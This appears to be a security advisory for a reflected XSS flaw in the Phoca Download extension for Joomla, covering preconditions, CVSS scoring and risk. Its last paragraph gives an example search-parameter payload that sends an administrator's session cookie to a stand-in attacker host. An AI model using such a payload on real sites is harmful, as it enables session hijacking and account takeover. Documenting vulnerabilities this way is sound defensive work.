Phoca Download CVE-2026-76569

The target Joomla site must have the Phoca Download Extension installed and active in versions 5.0.0 through 6.1.4. The Phoca Download frontend search functionality must be accessible (i.e., the component is published and reachable by the attacker's crafted URL). User interaction is required: a victim must be socially engineered into clicking a crafted link - exploitation cannot occur without this step. Exploitation is not limited to authenticated victims, but the highest-impact scenario involves an authenticated Joomla administrator or editor clicking the link, enabling session theft with privileged access. No special server-side configuration is required beyond having the extension installed.

The CVSS 4.0 score of 5.3 (Medium) is appropriately calibrated for a reflected XSS requiring user interaction (UI:P). The vector AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:L reflects low-to-moderate impact with no special attack requirements beyond convincing a user to click a link. No EPSS data was provided, and the absence of both a KEV listing and public exploit code suggests this is not under active exploitation at time of analysis. The realistic risk is moderate for Joomla sites serving authenticated users - session hijacking is feasible if an admin clicks the link - but the reflected (non-persistent) nature limits blast radius compared to stored XSS. The VA:L (availability impact) in the supplied CVSS 4.0 vector is questionable, as reflected XSS does not typically affect availability; this may be an over-assignment. Overall, this is a genuine but non-urgent vulnerability: prioritize patching on externally accessible Joomla instances with admin users who browse the site front end.

An attacker constructs a URL targeting a vulnerable Joomla site (e.g., https://victim-site.com/index.php?option=com_phocadownload&view=category&search=<script>document.location='https://attacker.com/?c='+document.cookie</script>) and delivers it to a site administrator via phishing email or social media. When the admin clicks the link and their browser renders the search results page, the injected script executes and exfiltrates the admin's Joomla session cookie to the attacker, enabling full session hijacking. No public proof-of-concept has been identified, though the vulnerability class is well-understood and trivial to exploit manually.